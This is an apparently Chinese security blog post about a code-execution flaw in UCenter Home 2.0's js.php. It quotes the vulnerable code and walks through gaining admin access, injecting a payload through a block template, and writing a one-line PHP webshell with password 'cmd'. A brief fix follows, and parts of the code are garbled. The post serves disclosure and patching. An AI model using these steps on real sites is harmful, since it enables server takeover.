DZ公司的-Uchome <=2.0 后台GetWebShell 漏洞
[重要通告]如您遇疑难杂症,本站支持知识付费业务,扫右边二维码加博主微信,可节省您宝贵时间哦!
漏洞介绍:uchome<=2.0的程序中js.php文件存在代码执行漏洞,原因是正则匹配时引号使用不当,导致可以任意提交并执行PHP代码。 Php中单引号与双引号是有区别的: " "双引号里面的字段会经过编译器解释,然后再当作HTML代码输出。 ' '单引号里面的不进行解释,直接输出。 这里正则匹配后的\\2在双引号里,导致了代码可以执行。 Js.php 问题代码如下 [code] include template("data/blocktpl/$id"); $obcontent = ob_get_contents(); obclean(); $s = array("/(\r|\n)/", "/\
$r = array("\n", '', 'js_mkurl("\\1", "\\2")');//代码执行
$content = '';
if($obcontent) {
$obcontent = preg_replace($s, $r, $obcontent);
$lines = explode("\n", $obcontent);
foreach ($lines as $line) {
$line = addcslashes(trim($line), '/\'\\');
$content .= "document.writeln('$line');\n";
}
} else {
$content .= "document.writeln('NO DATA')";
}
[/code]
测试环境:
系统环境:Windows 2003 + IIS + PHP 5.2.9-2 + Mysql 5.0.67
程序环境:Ucenter Home 2.0(官方最新) + Ucenter 1.5(官方最新)
测试方法:
首先我在本地安装了一个全新的uchome.。这个漏洞的前提是首先拿到后台权限。你可以通过社工、旁注、嗅探、Xss 等手段拿到管理员密码并进入后台。
接着打开admincp.php?ac=block&op=add,选择第一个添加一个模块。填上模板名称、其他默认即可。然后提交。如下图
接着在数据显示Html代码处填入如下代码然后提交
[code]
a
加密内容为fputs(fopen('data/a.php','w'),'');
保存后检查一下ID,如果ID是1,则访问一下js.php?id=1
则在data目录下生成a.php一句话木马,密码是cmd
我这里ID是2 所以我访问 js.php?id=2
访问后data 目录下多出了一个a.php
这就是我们的一句话。连接试试
结果显示.漏洞确实存在并能执行任意PHP代码。。。已经成功得到一个webshelll
漏洞修补:目前官方暂无补丁临时修补方法如下
$r = array("\n", '', 'js_mkurl("\\1", "\\2")');
替换为
$r = array("\n", '', "js_mkurl('\\1', '\\2')");
[/code]
问题未解决?付费解决问题加Q或微信 2589053300 (即Q号又微信号)右上方扫一扫可加博主微信
所写所说,是心之所感,思之所悟,行之所得;文当无敷衍,落笔求简洁。 以所舍,求所获;有所依,方所成!